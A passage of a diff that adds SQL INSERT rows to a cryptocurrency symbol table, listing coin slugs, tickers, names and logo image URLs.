'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/blocknodetech.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3180, 'vivid-coin', 'VIVID', 'Vivid Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vivid-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3181, 'argus', 'ARGUS', 'Argus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/argus.png', NULL); +INSERT INTO `t_symbols` VALUES (3182, 'exchain', 'EXT', 'Experience Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3183, 'edu-coin', 'EDU', 'EduCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3184, 'hey-chain', 'HEY', 'Hey Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hey-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3185, 'faith', 'FAITH', 'FaithCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faith.png', NULL); +INSERT INTO `t_symbols` VALUES (3186, 'paypex', 'PAYX', 'Paypex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/paypex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3187, 'juriseum', 'JURM', 'Juriseum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juriseum.png', NULL); +INSERT INTO `t_symbols` VALUES (3188, 'farad', 'FRD', 'Farad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/faradcryptoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3189, 'c-bit', 'XCT', 'C-Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c-bit.png', NULL); +INSERT INTO `t_symbols` VALUES (3190, 'luckyseventoken', 'LST', 'LuckySevenToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luckyseventoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3191, 'zest', 'ZEST', 'Zest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3192, 'arionum', 'ARO', 'Arionum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arionum.png', NULL); +INSERT INTO `t_symbols` VALUES (3193, 'brazio', 'BRAZ', 'Brazio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brazio.png', NULL); +INSERT INTO `t_symbols` VALUES (3194, 'securecoin', 'SRC', 'SecureCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/securecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3195, 'suretly', 'SUR', 'Suretly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suretly.png', NULL); +INSERT INTO `t_symbols` VALUES (3196, 'project-coin', 'PRJ', 'Project Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3197, 'vector', 'VEC2', 'VectorAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vector.png', NULL); +INSERT INTO `t_symbols` VALUES (3198, 'atomic-coin', 'ATOM', 'Atomic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atomic-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3199, 'mox', 'MOX', 'MoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mox.png', NULL); +INSERT INTO `t_symbols` VALUES (3200, 'vct', 'VCT', 'ValueCyberToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vct.png', NULL); +INSERT INTO `t_symbols` VALUES (3201, 'dnotes', 'NOTE', 'Note', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/DNotesCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3202, 'benjirolls', 'BENJI', 'BenjiRolls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benjirolls.png', NULL); +INSERT INTO `t_symbols` VALUES (3203, 'altcoin-alt', 'ALT', 'Altcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altcoin-alt.png', NULL); +INSERT INTO `t_symbols` VALUES (3204, 'printex', 'PRTX', 'Printex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/printex.png', NULL); +INSERT INTO `t_symbols` VALUES (3205, 'one-dex', 'ODEX', 'One DEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-dex.png', NULL); +INSERT INTO `t_symbols` VALUES (3206, 'intucoin', 'INTU', 'INTUCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intucoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3207, 'road-token', 'ROAD', 'ROAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/road.png', NULL); +INSERT INTO `t_symbols` VALUES (3208, 'the-currency-analytics', 'TCAT', 'The Currency Analytics', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-currency-analytics.png', NULL); +INSERT INTO `t_symbols` VALUES (3209, 'din', 'DIN', 'Dinero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/din.png', NULL); +INSERT INTO `t_symbols` VALUES (3210, 'scanetchain', 'SWC', 'Scanetchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scanetchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3211, 'greenmed', 'GRMD', 'GreenMed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/greenmed.png', NULL); +INSERT INTO `t_symbols` VALUES (3212, 'anon', 'ANON', 'ANON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3213, 'havethertoken', 'HET', 'HavEtherToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havethertoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3214, 'photoelectricity-chain', 'PEC', 'photoelectricity-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3215, 'wild-beast-block', 'WBB', 'Wild Beast Block', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-beast-block.png', NULL); +INSERT INTO `t_symbols` VALUES (3216, 'cash2', 'CASH2', 'Cash2', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cash2.png', NULL); +INSERT INTO `t_symbols` VALUES (3217, 'fujinto', 'NTO', 'Fujinto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fujinto.png', NULL); +INSERT INTO `t_symbols` VALUES (3218, 'stackbit', 'SBIT', 'Stackbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stackbit.png', NULL); +INSERT INTO `t_symbols` VALUES (3219, 'touristtoken', 'TOTO', 'Tourist Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touristtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3220, 'levocoin', 'LEVO', 'Levocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3221, 'sf-capital', 'SFCP', 'SF Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sf-capital.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3222, 'pedity', 'PEDI', 'Pedity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pedity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3223, 'viuly', 'VIU', 'Viuly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viuly.png', NULL); +INSERT INTO `t_symbols` VALUES (3224, 'bitf', 'BITF', 'bitf', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitf.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3225, 'omnescoin', 'OMNES', 'OmnesCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omnescoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3226, 'saros', 'SAROS', 'SAROS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saros.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3227, 'network-token', 'NTWK', 'Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/networktoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3228, 'harvest-masternode-coin', 'HC', 'Harvest Masternode Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/HarvestMnCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3229, 'gainer', 'GNR', 'Gainer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gainer.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3230, 'vikkytoken', 'VIKKY', 'VikkyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vikkytoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3231, 'posex', 'PEX', 'PosEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posex.png', NULL); +INSERT INTO `t_symbols` VALUES (3232, 'driver', 'DRV', 'DRIVER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/driver.png', NULL); +INSERT INTO `t_symbols` VALUES (3233, 'rainbow-zone', 'RBZ', 'rainbow-zone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rainbow-zone.png', NULL); +INSERT INTO `t_symbols` VALUES (3234, 'hydnora', 'HORA', 'Hydnora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydnora.png', NULL); +INSERT INTO `t_symbols` VALUES (3235, 'cabbage', 'CAB', 'Cabbage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cabbage.png', NULL); +INSERT INTO `t_symbols` VALUES (3236, 'intelligent-investment-chain', 'IIC', 'Intelligent Investment Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-investment-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3237, 'globfonecoin', 'GFC', 'GlobfoneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globfonecoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3238, 'mcap', 'MCAP', 'MCAP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcap.png', NULL); +INSERT INTO `t_symbols` VALUES (3239, 'airdrop', 'AIRDROP', 'AirdropToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airdrop.png', NULL); +INSERT INTO `t_symbols` VALUES (3240, 'cointorox', 'OROX', 'Cointorox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cointorox.png', NULL); +INSERT INTO `t_symbols` VALUES (3241, 'socialcoin-socc', 'SOCC', 'SocialCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/socialcoin-socc.png', NULL); +INSERT INTO `t_symbols` VALUES (3242, 'prochain', 'PRA', 'ProChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3243, 'litecoin-token', 'LTK', 'LitecoinToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3244, 'bitvolt', 'VOLT', 'Asgardian Aereus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitvolt.png', NULL); +INSERT INTO `t_symbols` VALUES (3245, 'bionic', 'BNC', 'Bionic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bionic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3246, 'xorn', 'XORN', 'XORN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xorn.png', NULL); +INSERT INTO `t_symbols` VALUES (3247, 'stakeshare', 'SSX', 'StakeShare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakeshare.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3248, 'kaaso', 'KAASO', 'KAASO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kaaso.png', NULL); +INSERT INTO `t_symbols` VALUES (3249, 'mmcoin', 'MMC', 'mmcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mmcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3250, 'miacoin', 'MIAC', 'MIAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3251, 'eddie-coin', 'EDDIE', 'Eddie Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eddie-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3252, 'hirego', 'HGO', 'HireGo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hirego.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3253, 'bitcoin-one', 'BTCONE', 'BitCoin One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-one.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3254, 'exo', 'EXO', 'Exosis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exo.png', NULL); +INSERT INTO `t_symbols` VALUES (3255, 'qvolta', 'QVT', 'Qvolta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qvolta.png', NULL); +INSERT INTO `t_symbols` VALUES (3256, 'guess', 'GUESS', 'PeerGuess', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guess.png', NULL); +INSERT INTO `t_symbols` VALUES (3257, 'xovbank', 'XOV', 'XOVBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xovbank.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3258, 'destiny', 'DES', 'Destiny', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CryptoDestiny.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3259, 'solaris', 'XLR', 'Solaris', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solaris.png', NULL); +INSERT INTO `t_symbols` VALUES (3260, 'clone-winner-token', 'CWT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clone-winner-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3261, 'pkg-token', 'PKG', 'PKG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pkg-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3262, 'medicare', 'MDC', 'medicare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medicare.png', NULL); +INSERT INTO `t_symbols` VALUES (3263, 'helix', 'HLIX', 'Helix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/helix.png', NULL); +INSERT INTO `t_symbols` VALUES (3264, 'galactrum', 'ORE', 'Galactrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/galactrum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3265, 'distx', 'DISTX', 'DistX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/distx.png', NULL); +INSERT INTO `t_symbols` VALUES (3266, 'furukuru', 'FUKU', 'Furukuru', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3267, 'bitcoin-le', 'BLE', 'Bitcoin LE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-le.png', NULL); +INSERT INTO `t_symbols` VALUES (3268, 'crypto-cash-back', 'CCBC', 'Crypto Cash Back', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypto-cash-back.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3269, 'wins', 'WINS', 'wins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3270, 'connectome', 'CNTM', 'Connectome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/connectome.png', NULL); +INSERT INTO `t_symbols` VALUES (3271, 'exus-coin', 'EXUS', 'EXUS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3272, 'cybermiles', 'CMT', 'Comet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybermiles.png', NULL); +INSERT INTO `t_symbols` VALUES (3273, 'ethbet', 'EBET', 'EthBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3274, 'sparklemobile', 'SPRKL', 'Sparkle Loyalty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparklemobile.png', NULL); +INSERT INTO `t_symbols` VALUES (3275, 'viog', 'VIOG', 'VIOG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viog.png', NULL); +INSERT INTO `t_symbols` VALUES (3276, 'rippedcoin', 'RIPPED', 'Ripped', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rippedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3277, 'game-token', 'GMTK', 'game-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3278, 'aced', 'ACED', 'Aced [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aced.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3279, 'dach-coin', 'DACH', 'DACH Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dach-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3280, 'bazooka-token', 'BAZT', 'Baz Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bazooka-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3281, 'sucrecoin', 'XSR', 'Sucrecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sucrecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3282, 'fesschain', 'FESS', 'Fesschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fesschain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3283, 'elysium', 'ELS', 'Elysium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elysium.png', NULL); +INSERT INTO `t_symbols` VALUES (3284, 'evos', 'EVOS', 'EVOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evolution-of-services%20.png', NULL); +INSERT INTO `t_symbols` VALUES (3285, 'profit-hunters-coin', 'PHC', 'Profit Hunters Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/profit-hunters-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3286, 'brat', 'BRAT', 'BROTHER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coinBrat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3287, 'graphcoin', 'GRPH', 'Graphcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/GRPHcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3288, 'run', 'RUN', 'run', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/run.png', NULL); +INSERT INTO `t_symbols` VALUES (3289, 'kanadecoin', 'KNDC', 'KanadeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kanadecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3290, 'mcc', 'MCC', 'MultiCoinCasino', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcc.png', NULL); +INSERT INTO `t_symbols` VALUES (3291, 'orbis-token', 'OBT', 'Orbis Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbis-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3292, 'dynamite-token', 'DYNMT', 'Dynamite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamite-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3293, 'qbase', 'QBS', 'QBase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbase.png', NULL); +INSERT INTO `t_symbols` VALUES (3294, 'bitclassic', 'B2C', 'BitClassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (3295, 'bitcoinbrand', 'BTCB', 'BitcoinBrand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinbrand.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3296, 'x12-coin', 'X12', 'X12 Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x12-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3297, 'sltpos', 'SLT', 'SLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sltpos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3298, 'treasure-chain', 'TST', 'treasure-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/treasure-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3299, 'bitspace', 'BSX', 'Bitspace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitspace.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3300, 'streamit-coin', 'STREAM', 'Streamit Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/streamit-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3301, 'interzone', 'ITZ', 'Interzone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interzone.png', NULL); +INSERT INTO `t_symbols` VALUES (3302, 'jin-coin', 'JIN', 'Jin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3303, 'oceanlab', 'OCL', 'Oceanlab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/oceanlab_eu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3304, 'healthywormcoin', 'WORM', 'HealthyWormCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthywormcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3305, 'joint-ventures', 'JOINT', 'Joint Ventures', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/joint-ventures.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3306, 'lightstreams-photon', 'PHT', 'Lightstreams', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightstreams-photon.png', NULL); +INSERT INTO `t_symbols` VALUES (3307, 'luck', 'LUCK', 'luck', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luck.png', NULL); +INSERT INTO `t_symbols` VALUES (3308, 'caliphcoin', 'CALC', 'CaliphCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3309, 'stakinglab', 'LABX', 'Stakinglab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stakinglab.png', NULL); +INSERT INTO `t_symbols` VALUES (3310, 'blacer-coin', 'BLCR', 'Blacer Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blacer-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3311, 'spider-vps', 'SPDR', 'Spider Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spider-vps.png', NULL); +INSERT INTO `t_symbols` VALUES (3312, 'mnpcoin', 'MNP', 'MNPCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mnpcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3313, 'condominium', 'CDM', 'CDMCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condominium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3314, 'coinonatx', 'XCXT', 'CoinonatX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinonatx.png', NULL); +INSERT INTO `t_symbols` VALUES (3315, 'procurrency', 'PROC', 'ProCurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/procurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (3316, 'poly-ai', 'AI', 'POLY AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poly-ai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3317, 'posscoin', 'POSS', 'Posscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/posscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3318, 'xenoverse', 'XENO', 'Xenoverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b116e876dccdd784283f5a4eb6545ac.png', NULL); +INSERT INTO `t_symbols` VALUES (3319, 'firecoin', 'FIRE', 'Firecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/FirecoinX15.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3320, 'bitcoin-planet', 'BTPL', 'Bitcoin Planet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-planet.png', NULL); +INSERT INTO `t_symbols` VALUES (3321, 'themis', 'GET', 'Themis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/themis.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3322, 'ocp', 'OCP', 'ocp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ocp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3323, 'gladius-token', 'GLA', 'Gladius Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gladius-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3324, 'tagz-token', 'TAGZ', 'TAGZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tagz-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3325, 'nodecoin', 'NODC', 'NodeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nodecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3326, 'gexan', 'GEX', 'Gexan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gexan.png', NULL); +INSERT INTO `t_symbols` VALUES (3327, 'eryllium', 'ERY', 'Eryllium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eryllium.png', NULL); +INSERT INTO `t_symbols` VALUES (3328, 'dashgold', 'DSG', 'dashgold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dashgold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3329, 'orium', 'ORM', 'ORIUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3330, 'build-finance', 'BUILD', 'BUILD Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/build-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3331, 'electrumdark', 'ELD', 'Electrum Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electrumdark.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3332, 'australia-cash', 'AUS', 'Australia Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/australia-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (3333, 'lens-platform', 'LENS', 'LENS Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lens-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (3334, 'poseidon-quark', 'POSQ', 'Poseidon Quark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poseidon-quark.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3335, 'geertcoin', 'GEERT', 'GeertCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geertcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3336, '404', '404', '404', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/404.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3337, 'blockburn', 'BURN', 'BlockBurn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockburn.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3338, 'dietbitcoin', 'DDX', 'dietbitcoin', 